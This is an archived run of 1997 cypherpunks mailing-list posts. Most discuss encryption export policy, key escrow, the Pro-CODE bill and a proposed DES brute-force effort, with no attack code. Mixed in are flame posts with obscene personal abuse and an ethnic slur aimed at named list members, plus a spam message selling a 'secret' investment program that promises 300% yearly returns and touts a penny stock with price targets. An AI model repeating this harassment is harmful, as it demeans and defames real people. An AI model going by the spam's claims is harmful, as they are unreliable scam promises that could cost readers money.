Date: Wed, 26 Feb 1997 11:58:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: GCHQ On Escrow Sham
Message-ID: <1.5.4.32.19970226195118.006ba3bc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The GCHQ spook heading the EU's group on crypto policy 
admits that  law enforcement demand for key escrow is just 
a cover for foreign intelligence:

  http://www.cs.berkeley.edu/~daw/GCHQ/

There's also a lengthy description of E-mail security for
Her Majesty's Government.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 26 Feb 1997 15:22:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Suspected of purchasing diesel fuel"
In-Reply-To: <9702252315.ZM29647@razor.engr.sgi.com>
Message-ID: <gB2q3D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


das@razor.engr.sgi.com (Anil Das) writes:

> On Feb 25, 10:47pm, Alan Olsen wrote:
> >
> > "We have met the Enemy and they is us."
> >
> 
> Er.. I thought the discussion of cypherpunks list moderation is over.
> 
> --
> Anil Das
> 

I think not.  I think a weekly FAQ regarding the reputation of
John Gilmore (spit), Sameer Pareekh (spit), Sandy Sandfort (spit),
Greg Broils (spit) and C2Net (spit) is in order.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Horowitz <marc@cygnus.com>
Date: Wed, 26 Feb 1997 13:23:02 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Distributed cracks, law, and cryptoanarchy
In-Reply-To: <3310e0fa.5573759@library.airnews.net>
Message-ID: <t53bu97s1q2.fsf@rover.cygnus.com>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles <gbroiles@netbox.com> writes:

>> That's a very noble sentiment, but until *you* write some software, the
>> risk that you're dismissing is *someone else's* risk - so you're balancing
>> a public good against someone else's loss, and deciding that it works out
>> nicely for you. Well, sure. You seem to be willing to give up the nominal
>> value of the prize (somewhere under $1, when discounted against the chance
>> of hitting the key) but you don't seem to be willing to invest anything
>> substantial (like many hours of programming time, or serious computing
>> horsepower) in the bruting effort. 

When I wrote my message, this thought occurred to me.  I should have
assumed someone would call me on it :-)

My perception of the situation (which may or may not be accurate) is
that the technology, while perhaps not the best possible, exists.
What seems to be preventing coordination is bickering about what to do
with the money, including the fear that someone else will claim the
money.  As you have pointed out, the value of a $10K prize is not that
attractive.  If people are doing anything at all, it is not for the
prospect of economic gain.  I'm hoping that someone who has other
incentives besides the money will agree with my evaluation (and yours,
I think) of the risks, and move forward with the project.

>> My point is that if we want to see a brute-force attack succeed,
>> and we want the threat of other brute-force attacks to be credible,
>> we should find a way to organize rights & obligations such that it
>> looks rational to act as the organizer of a brute-force effort. The
>> current configuration doesn't seem to inspire widespread
>> significant interest.

By these arguments, the rc5-48 attack would have never happened.  I'm
not sure what the incentives were for that, but I think the same
incentives apply to a DES attack.  I don't think the money figured
prominently into the first attack.  My message was intended to cause
those who might work on the second attack to look past the money, and
at whatever other incentives they might have.  

>> I don't think it's realistic or useful to pretend to ignore economics.

I'm not trying to ignore economics.  I'm trying to show that, for some
of us, there are other incentives than money.  For me and you, these
incentives aren't strong enough.  For someone else, they might be.  I
can't make them do anything, but I can certainly try to encourage
them.

		Marc




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 26 Feb 1997 17:42:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: 43 Public Comments
Message-ID: <1.5.4.32.19970227013551.006cc844@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


We've completed conversion of the 43 public comments
on encryption tranfers at BXA from PDF to HTML:

   http://jya.com/bxapctoc.htm

The TOC links to each in a separate file.

Instructive reading. Microsoft and a few others punch hard,
claiming betrayal by the Admin for not consulting industry
as promised and rushing out the Interim Rule. Nearly all say 
stronger crypto is a must to compete globally.

Yep, a few brown-nose the bosses; guess who.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 26 Feb 1997 21:45:46 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: "Suspected of purchasing diesel fuel"
In-Reply-To: <gB2q3D1w165w@bwalk.dm.com>
Message-ID: <33151F6A.22BF@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> das@razor.engr.sgi.com (Anil Das) writes:
> > On Feb 25, 10:47pm, Alan Olsen wrote:
> > > "We have met the Enemy and they is us."
> > Er.. I thought the discussion of cypherpunks list moderation is over.

> I think not.  I think a weekly FAQ regarding the reputation of
> John Gilmore (spit), Sameer Pareekh (spit), Sandy Sandfort (spit),
> Greg Broils (spit) and C2Net (spit) is in order.

Did you see where Greg (apparently one of the C2 employees) said that
moderation actually *won*, and that's apparently what you, I, and all
the rest of the folks *really* wanted?  History is not boring, since
it's constantly being (re)written!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 26 Feb 1997 22:10:58 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: Moderation/censorship
In-Reply-To: <01IFVIOKOQM88Y57CZ@mbcl.rutgers.edu>
Message-ID: <33152498.6A19@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


E. Allen Smith wrote:
> There was some discussion from Toto et al (whom I'd guess you'd (sensibly)
> filtered out) of blocking postings from Senate and House addresses,
[snip]
> (If DLVulis was a participant in the discussion (I wouldn't notice,
> given that I generally delete his messages before reading), he
> would be a probable exception to the latter part of the last sentence.)
[snip]

So here's this Eastern-establishment George Bush wanna-be piece-of-shit
whiny asshole Smith beating up on Toto and Vulis for the nth time.

Just can't give it up, can you, bozo?  Why don't you dig a hole,
crawl in, and pull the dirt in over you.  Then not only would you
not be unhappy any more, every one else would be happy too.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 26 Feb 1997 23:02:46 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Moderation/censorship
In-Reply-To: <199702270609.AAA08864@manifold.algebra.com>
Message-ID: <33153141.1762@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > E. Allen Smith wrote:
> > > There was some discussion from Toto et al (whom I'd guess you'd (sensibly)
> > > filtered out) of blocking postings from Senate and House addresses,
> > [snip]
> > > (If DLVulis was a participant in the discussion (I wouldn't notice,
> > > given that I generally delete his messages before reading), he
> > > would be a probable exception to the latter part of the last sentence.)
> > [snip]
> > So here's this Eastern-establishment George Bush wanna-be piece-of-shit
> > whiny asshole Smith beating up on Toto and Vulis for the nth time.
> remember dale, you and dr. vulis are also beating on john gilmore & co.

True, but, Smith viciously attacked me before I said anything about
him, and he did so not because I was some kind of authority inter-
fering with his life (like a lying, cheating, censoring list mgr.),
but simply because he didn't like my posts.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 27 Feb 1997 00:02:16 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Moderation/censorship
In-Reply-To: <199702270706.BAA09372@manifold.algebra.com>
Message-ID: <33153E98.3DCD@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


> > Igor Chudov @ home wrote:
> > > Dale Thorn wrote:
> > > > E. Allen Smith wrote:
> > > > > There was some discussion from Toto et al (whom I'd guess you'd (sensibly)
> > > > > filtered out) of blocking postings from Senate and House addresses,
> > > > > (If DLVulis was a participant in the discussion (I wouldn't notice,
> > > > > given that I generally delete his messages before reading), he
> > > > > would be a probable exception to the latter part of the last sentence.)
> > > > So here's this Eastern-establishment George Bush wanna-be piece-of-shit
> > > > whiny asshole Smith beating up on Toto and Vulis for the nth time.
> > > remember dale, you and dr. vulis are also beating on john gilmore & co.

> > True, but, Smith viciously attacked me before I said anything about
> > him, and he did so not because I was some kind of authority inter-
> > fering with his life (like a lying, cheating, censoring list mgr.),
> > but simply because he didn't like my posts.

> :) and you are attacking him because you did not like his posts.

Not the same thing at all.  Any posts he may have made about any
list topic (whether "on-topic" or not) I did not jump on him for.
I have made specific comments disagreeing with people about factual
or theoretical particulars, or I've made disparaging comments about
list "leaders" using their "reputation capital" to shove other people
out of their way like bullies, but I haven't taken to calling
ordinary list subscribers names because I think they're paranoid
(which I'm really not, though I'm a "professional" conspiratologist),
or because I otherwise disagree with them.

I looked at one archive the other day, and it contained 850+ messages
by me posted to cypherpunks between approximately 1 Sep 96 and late
Jan 97.  I think you'll find them very consistent, and although I
could be accused of harboring my own arrogance in some areas, I can
handle any criticism you put forth, since you (for example) don't
slander me gratuitously or viciously.

Several months ago, I made a post where I said that approx. 95% of
people stay within the confines of their parents' religion for life,
meaning that while they may change denominations, or split different
hairs on various dogmas, they still remain Catholic if their parents
were Catholic, etc.  One of the list "leaders" chose to say I didn't
know what I was talking about, even though I very well did know what
I was talking about (and I told him so), so he replied that he didn't
want me putting his email address in any of my posts (i.e., don't
hit the reply-to-all button unless I manually delete his name), and
has steadfastly ignored me ever since.  I don't mind being ignored,
in fact, it gives me time to do better things than argue with persons
who don't really listen, but what pisses me off is this bully-like
arrogance on the part of some of the clique who would really like to
get rid of people like me, but can't recommend it since it would
damage their already fragile reputation.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 26 Feb 1997 22:21:25 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Moderation/censorship
In-Reply-To: <33152498.6A19@gte.net>
Message-ID: <199702270609.AAA08864@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> 
> E. Allen Smith wrote:
> > There was some discussion from Toto et al (whom I'd guess you'd (sensibly)
> > filtered out) of blocking postings from Senate and House addresses,
> [snip]
> > (If DLVulis was a participant in the discussion (I wouldn't notice,
> > given that I generally delete his messages before reading), he
> > would be a probable exception to the latter part of the last sentence.)
> [snip]
> 
> So here's this Eastern-establishment George Bush wanna-be piece-of-shit
> whiny asshole Smith beating up on Toto and Vulis for the nth time.

remember dale, you and dr. vulis are also beating on john gilmore & co.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 26 Feb 1997 23:27:44 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Moderation/censorship
In-Reply-To: <33153141.1762@gte.net>
Message-ID: <199702270706.BAA09372@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> Igor Chudov @ home wrote:
> > Dale Thorn wrote:
> > > E. Allen Smith wrote:
> > > > There was some discussion from Toto et al (whom I'd guess you'd (sensibly)
> > > > filtered out) of blocking postings from Senate and House addresses,
> > > [snip]
> > > > (If DLVulis was a participant in the discussion (I wouldn't notice,
> > > > given that I generally delete his messages before reading), he
> > > > would be a probable exception to the latter part of the last sentence.)
> > > [snip]
> > > So here's this Eastern-establishment George Bush wanna-be piece-of-shit
                                                    ^^^^^^^^^^^^^^^^^^^^^^^^^
> > > whiny asshole Smith beating up on Toto and Vulis for the nth time.
     ^^^^^^^^^^^^^^^^^^^^^^
> > remember dale, you and dr. vulis are also beating on john gilmore & co.
> 
> True, but, Smith viciously attacked me before I said anything about
> him, and he did so not because I was some kind of authority inter-
> fering with his life (like a lying, cheating, censoring list mgr.),
> but simply because he didn't like my posts.

:) and you are attacking him because you did not like his posts. 

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 26 Feb 1997 18:47:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [CRYPTO] One-time pads
Message-ID: <199702270247.DAA13171@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Here, Timmy C[unt] May descends into 
total inanity. He should have a cold 
shower and/or a Turkish coffee.

   /_/\/\
   \_\  / Timmy C[unt] May
   /_/  \
   \_\/\ \
      \_\/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 27 Feb 1997 03:38:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Meet-in-the-middle attack
Message-ID: <199702271138.GAA03792@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy Mayflower's wee-wee is so tiny that only his mommy 
is allowed to touch it.

. o       c ,
`'#v-- --v#`' Timothy Mayflower
 /'>     <`\





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 27 Feb 1997 06:23:58 -0800 (PST)
To: pgut001@cs.auckland.ac.nz
Subject: Re: Presidential decrees and emergency powers
Message-ID: <1.5.4.32.19970227141703.006ddeb8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


There's a list of Executive Orders from 1970-96 on emergency powers
at:

   http://jya.com/eo-export.txt

A related Presidential Notice is at:

   http://jya.com/no081496.htm

Some of the latest Executive Orders related to export administration
are listed under "background" at:

   http://jyacom/eartoc.htm

The range of consequences of "emergency power" is vast, and 
traces of its affect is found in many governmental regulations and
legislation. We're adding documents to our site as we find them,
from the Departments of State, Defense and Commerce:

   http://jya.com/crypto.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 27 Feb 1997 06:34:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: 128_bit
Message-ID: <1.5.4.32.19970227142755.006eff20@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


2-26-97.

"Security Dynamics Unveils RSA SecurPC 2.0"

 The package is claimed to the first 128-bit encryption software to 
 be exported from the US and its territories, and allows companies 
 to implement "seamless, full-strength encryption" worldwide.

-----

128_bit





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 27 Feb 1997 10:08:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Counterintel Center
Message-ID: <1.5.4.32.19970227180151.006f51fc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The National Counterintelligence Center (NACIC) 
announced today in the Federal Register a new system of 
records. There's an explanation of the NACIC and what 
it tries to do, reciting the James Angleton/Aldrich Ames 
myrrh mantra.

   http://jya.com/ncc022797.txt

The new records system includes:

   "6. Compromised Names Database. The purpose of the 
   database is to notify US intelligence community personnel 
   whose names were potentially compromised as a result of 
   espionage or other foreign intelligence collection activity. 
   NACIC reviews pertinent reports to determine documents 
   that were possibly passed in a particular case and then 
   reviews those documents for names. The database contains 
   the names of persons potentially compromised, date of the 
   memo sent to the person or their employer informing them, 
   the document number of where the person's name came 
   from, document title, and document date."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 27 Feb 1997 11:00:25 -0800 (PST)
To: pgut001@cs.auckland.ac.nz
Subject: Re: Presidential decrees and emergency powers
Message-ID: <1.5.4.32.19970227185336.00703a38@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


We've put the full 50USC Chapter 35 -- International
Emergency Economic Powers at:

   http://jya.com/50usc35.txt  (284K)

Section 1701 is the great bulk of it, and describes
the purpose of emergency economic power. And
lists the current enemies -- rogue nations and 
terrorists -- used, as were predecessors, to justify 
its never-ending renewal.










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 27 Feb 1997 14:35:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Senate spams
In-Reply-To: <199702270603.AAA08703@manifold.algebra.com>
Message-ID: <H4Ts3D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> adam and others,
> 
> sorry i was not able to read the list before and did not know
> about the senate spam.
> 
> i vaguely recall the us senate voting in droves to elect david c
> lawrence <tale@uunet.uu.net> kook of the month june 1996... but the
> truth prevailed.

They voted from their accounts on algebra.com, didn't they?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 27 Feb 1997 14:39:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Suspected of purchasing diesel fuel"
In-Reply-To: <33151F6A.22BF@gte.net>
Message-ID: <uDus3D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> Dr.Dimitri Vulis KOTM wrote:
> > das@razor.engr.sgi.com (Anil Das) writes:
> > > On Feb 25, 10:47pm, Alan Olsen wrote:
> > > > "We have met the Enemy and they is us."
> > > Er.. I thought the discussion of cypherpunks list moderation is over.
> 
> > I think not.  I think a weekly FAQ regarding the reputation of
> > John Gilmore (spit), Sameer Pareekh (spit), Sandy Sandfort (spit),
> > Greg Broils (spit) and C2Net (spit) is in order.
> 
> Did you see where Greg (apparently one of the C2 employees) said that
> moderation actually *won*, and that's apparently what you, I, and all
> the rest of the folks *really* wanted?  History is not boring, since
> it's constantly being (re)written!

Greb Broils lies, of course, but he's just an entry-level lackey at C2Net.
Greg will post whatever lies his boss Sameer "Arab terrorist from Connecticut"
Parekh pays him to post. Greg will suck whichever cock Sameer Parekh pays
him to suck. Greg Broils is a whore. Sameer Parekh is his pimp.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dcgroup@erols.com
Date: Fri, 28 Feb 1997 00:42:46 -0800 (PST)
To: dcgroup@erols.com
Subject: WELL WORTH READING
Message-ID: <199702280834.DAA15402@Ocean.CAM.ORG>
MIME-Version: 1.0
Content-Type: text/plain


I hope this e-mail finds you well. No need to hit the reply buttom if you want to be 
deleted  from my mailing list as this program you are about to review is one you will
only receive once and need to reply to stay on it. Needless to say we have a lot of
confidence in this program. Good luck if you decide not to order this program. Pre-
paration will meet opportunity (which will equal success) if you make the right choice. If
you still feel the need to ask to be removed go ahead. I will oblige your request.

         *****    THE PROGRAM           FEBRUARY 27, 1997    *****

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cludes $3 shipping and handling) we are willing to part not only with this secret but 
with the following 3 reports, each of which is well worth the price of admission:
    1) A second secret that has returned over 100% year in, year out for these in-
vestors. When combined with the first secret you get over 300% year in, year out for
the investors. $1,000 can be turned into $1,000,000 in 5 years. if you have 5 years
but not the $1,000 see the second part of this e-mail.
    2) 4 stocks that will double this year. Actually three, the best one is featured in part 
two of this e-mail. 
    3) 4 "events" which could cause the market to crash in 1997.

                        *****          PART TWO       *****

So you have five years but not $1,000. To show you we know how to make money 
we will "give" you a stock that we feel is ready to "pop". The company does not
know we are doing this. This is a freebie so don't forget to send us a thank you note.

KENSINGTON RESOURCES
KNSRF on the nasdaq exchange - current price, about $1.00 a share
KRT     on the vancouver exchange - current price, $1.30 a share
Kensington Resources' homepage -
                          http://www.kensington-resources.com/
Kensington's Silicon Investor site  (a "chat room" about kensington)-
                          http://www3.techstocks.com/investor/subject-3653
Kensington target prices:    $3.50 U.S. by 4/15, $7 by 12/31

KNSRF is part of a four company joint venture (a debeers subsidiary is one of the
other companies) that has 71 kimberlite (the host material for diamonds) pipes. 57
have been shown to be diamondniferous.  About 34 of these pipes are macrodiamond 
(the larger diamonds) meaning KNSRF's jv has close to 20% of the world's known
macrodiamond bearing pipes. The pipes contain 6 billion tonnes of kimberlite. With
this much going for it, KNSRF we feel has an explosive upside that will be realized
partially in 1997. We believe KNSRF can reach $7 or more a share U.S. by 12/31/97.
Do your own due diligence and we think you'll agree.

PLEASE KEEP IN MIND WE ARE NOT INVESTMENT ANALYSTS. THIS IS NOT
A SOLICITATION NOR A RECOMMENDATION TO BUY ANY STOCKS. DO YOUR
OWN DUE DILIGENCE. THE ONLY RECOMMENDATION WE MAKE IS THE
PURCHASE OF OUR PROGRAM. BELOW IS THE INFORMATION YOU NEED TO
ORDER IT. PAST PERFORMANCE IS JUST THAT, PAST PERFORMANCE. 
FUTURE PERFORMANCE IS YET TO BE DETERMINED. WE FEEL WE
KNOW HOW TO MAKE MONEY BUT WE WILL NEVER FEEL WE KNOW
HOW TO PREDICT THE FUTURE.

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$32.95  to:
                        The DC Group
                        Suite  331
                        1127 High Ridge Road
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PLEASE INCLUDE YOUR E-MAIL ADDRESS AND YOUR MAILING ADDRESS
WITH YOUR PAYMENT.                     






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 27 Feb 1997 16:35:31 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re: SigFile
In-Reply-To: <9702271819.AA15267@banshee.BASISinc.com>
Message-ID: <33162191.65A8@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


And this precious gem came from mark green.
 
                 |
            ,@ __|-.
       ,_~o/   \/  |    Through the router, off the switch,
         |/        |    down the cable, nothing but net.
        / >        |
       '  `        |                   The @Home slam dunk
                   |
 __________________|
-- 
Toto
-----------------------------
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Voters Telecommunications Watch <shabbir@vtw.org>
Date: Thu, 27 Feb 1997 13:23:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702272123.QAA28997@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text/plain


========================================================================

                     PRO-CODE BILL ANNOUNCED TODAY
    BILL WOULD LIBERATE ENCRYPTION FROM ANTIQUATED COLD-WAR REGULATIONS

                          February 27, 1997

      Please widely redistribute this document with this banner
                    intact until March 15, 1997
		
            From the Center for Democracy and Technology (CDT),
              the Electronic Frontier Foundation (EFF), and
                 the Voters Telecommunication Watch (VTW)

________________________________________________________________________
CONTENTS
        The Latest News
        What You Can Do Now
        Background On Pro-CODE
        What's At Stake
        For More Information / Supporting Organizations

________________________________________________________________________
THE LATEST NEWS

Today, a bi-partisan group of seventeen United States Senators, led by
Conrad Burns (R-MT) and Patrick Leahy (D-VT), introduced the "Promotion
of Commerce Online in the Digital Era (Pro-CODE) Act", a bill designed
to promote privacy and security on the Internet by relaxing government
controls on encryption technologies.

Encryption technologies are the locks and keys of the Information age
-- enabling individuals and businesses to protect sensitive information
as it is transmitted over the Internet. Pro-CODE aims to enable this by
removing some of the regulations that currently prevent Americans from
using this technology.

A short summary of the bill and background on the encryption policy
debate are attached below, along with information on what you can do to
help ensure that Congress takes action on this important issue.

________________________________________________________________________
WHAT YOU CAN DO NOW

1. CALL THE Pro-CODE SPONSORS AND THANK THEM FOR THEIR EFFORTS

   Members of Congress tend to hear from their constituents only when
   they do something constituents don't like.  Today however, several
   Senators have taken a stand on an issue of critical importance to
   Internet users.  It's crucial that we encourage them with phone
   calls of support.

   If you live in any of the states listed below, please take a moment
   to give these Senators a call.

   Allard (R-CO)     Ashcroft (R-MO)     Boxer (D-CA)     Brownback (R-KS)
   Burns (R-MT)      Craig (R-ID)        Dominici (R-NM)  Dorgan (D-ND)
   Faircloth (R-NC)  Grahms (R-MN)       Hutchison (R-TX) Inhoffe (R-OK)
   Kempthorne (R-ID) Leahy (D-VT)        Lott (R-MS)      Murray (D-WA)
   Nickles (R-OK)    Thomas (R-WY)       Wyden (D-OR)

   Please take a moment to give these Senators a call.

	<Dial 1-202-224-3121>
	<ring ring!>
        You:Senator Mojo's office please!
        Sen:Hello, Senator Mojo's office!

        You:

SAY     I heard that the Senator introduced Pro-CODE to add more privacy on
THIS->  the Internet.  Please thank the Senator for me and I support efforts
        to fix antiquated encryption export laws.  I live in <your state>.
	
        Sen:Ok, thanks!<click>

2. ADOPT YOUR LEGISLATOR

   If you were one of the thousands of people that have adopted their
   legislator at http://www.crypto.com/, you would have received a
   personalized letter telling you that your legislator announced his
   or her sponsorship of Pro-CODE today.

   These personalized letters contain all the phone numbers you need,
   and we'll send them to you any time your legislator takes any action
   that would have a significant impact on the net.

   The Adopt Your Legislator campaign is the most effective method of
   mobilizing grass-roots support available today.  Since late last
   year, VTW and CDT have been building a network of thousands of
   Internet users who are active and engaged in the fight for privacy
   and security on the Internet.

   By focusing our efforts on the constituents of specific legislators
   as well as on the net as a whole, we can ensure that members of
   Congress know that they have support within their district as well
   as throughout the Internet community.

   You can adopt your legislator at http://www.crypto.com/adopt/

________________________________________________________________________
BACKGROUND ON THE PRO-CODE BILL

The Promotion of Commerce Online in the Digital Era (Pro-CODE) Act is
similar to a bill introduced by Senators Burns (R-MT) and Leahy (D-VT)
last year (then S.1726).  Pro-CODE enjoyed broad bi-partisan support in
the Senate and was the subject of 3 hearings, including 2 which were
cybercast live on the Internet.

This year's Pro-CODE bill (no bill number yet available) is designed to
encourage the widespread availability of strong, easy-to-use encryption
technologies to protect privacy and security on the Internet.
Specifically, Pro-CODE would:

1. Encourage the widespread availability of strong privacy and security
   products by relaxing export controls on encryption technologies that
   are already available on the mass market or in the public domain.
   This would include popular programs like Pretty Good Privacy (PGP)
   and World Wide Web browsers like those made by Netscape and Microsoft.

   Current US encryption policy restricts export of encryption products
   with key-lengths of more than 40 bits.  A recent study by renowned
   cryptographers including Whit Diffie (one of the fathers of modern
   cryptography), Matt Blaze, and others concluded that 40 bits is
   "woefully inadequate" to protect personal and business communications.
   Over the last eighteen months, several examples of the weakness of
   40-bit encryption have been demonstrated by college students with
   spare personal computers.

2. Prohibit the federal government from imposing mandatory key-escrow or
   key-recovery encryption policies on the domestic market and limit the
   authority of the Secretary of Commerce to set standards for
   encryption products.

3. Require the Secretary of Commerce to allow the unrestricted export of
   other encryption technologies if products of similar strength are
   generally available outside the United States.

For more information on the Pro-CODE bill, background information on
efforts to pass encryption policy reform legislation last year, and
other materials please visit:

For more information, see the Encryption Policy Resource Page at
http://www.crypto.com/

________________________________________________________________________
WHAT'S AT STAKE

Encryption technologies are the locks and keys of the Information age
-- enabling individuals and businesses to protect sensitive information
as it is transmitted over the Internet. As more and more individuals
and businesses come online, the need for strong, reliable, easy-to-use
encryption technologies has become a critical issue to the health and
viability of the Net.

Current US encryption policy, which limits the strength of encryption
products US companies can sell abroad, also limits the availability of
strong, easy-to-use encryption technologies in the United States. US
hardware and software manufacturers who wish to sell their products on
the global market must either conform to US encryption export limits or
produce two separate versions of the same product, a costly and
complicated alternative.

The export controls, which the NSA and FBI argue help to keep strong
encryption out of the hands of foreign adversaries, are having the
opposite effect. Strong encryption is available abroad, but because of
the export limits and the confusion created by nearly four years of
debate over US encryption policy, strong, easy-to-use privacy and
security technologies are not widely available off the shelf or "on the
net" here in the US. Because of this policy problem, US companies are
now at a competitive disadvantage in the global marketplace.

All of us care about our national security, and no one wants to make it
any easier for criminals and terrorists to commit criminal acts. But we
must also recognize encryption technologies can also aid law
enforcement and protect national security by limiting the threat of
industrial espionage and foreign spying.

What's at stake in this debate is nothing less than the future of
privacy and the fate of the Internet as a secure and trusted medium for
commerce, education, and political discourse.

________________________________________________________________________
FOR MORE INFORMATION / SUPPORTING ORGANIZATIONS

This alert was brought to you by the Center for Democracy and
Technology, the Electronic Frontier Foundation, and the Voters
Telecommunications Watch.

http://www.cdt.org           http://www.eff.org       http://www.vtw.org

There are many excellent resources online to get up to speed on the
crypto issue including the following WWW sites:

           http://www.crypto.com       http://www.privacy.org

Please visit them often.    Press inquiries should be directed to:

 Jonah Seiger of CDT at jseiger@cdt.org or +1.202.637.9800
 Stanton McCandlish of EFF at mech@eff.org or  +1.415.436.9333
 Shabbir J. Safdar of VTW at shabbir@vtw.org or +1.917.978.8430 (beeper).

________________________________________________________________________
End alert
========================================================================




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 27 Feb 1997 10:05:04 -0800 (PST)
To: jya@pipeline.com
Subject: Re: GCHQ On Escrow Sham
In-Reply-To: <1.5.4.32.19970226195118.006ba3bc@pop.pipeline.com>
Message-ID: <199702271735.RAA00621@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



John Young <jya@pipeline.com> writes:
> The GCHQ spook heading the EU's group on crypto policy 
> admits that  law enforcement demand for key escrow is just 
> a cover for foreign intelligence:
> 
>   http://www.cs.berkeley.edu/~daw/GCHQ/

Some interesting extracts from the Herson interview from that web
page, Herson speaking:

: ...in practice export control means use control. There is an
     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
: indirect mechanism, which means that ... If you take the old
: paradigm that exportability means exploitability - the only
: cryptography, that is available to the business and private user is
: exploitable cryptography...

ie They don't care about exports what they care about is stopping
people using strong crypto, but they use export controls as an excuse.

and:

> Interviewer: "What do you think about the fact that the crypto
> debate focuses on privacy versus Law Enforcement ?"
>
> Herson: "Law Enforcement is a protective shield for all the other
> governmental activities . You should use the right word - 
> we're talking about foreign intelligence, that's what we're talking
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> about - that's what all this is about.  There is no question -
> that's what it is about. The Law enforcement is a smoke screen,
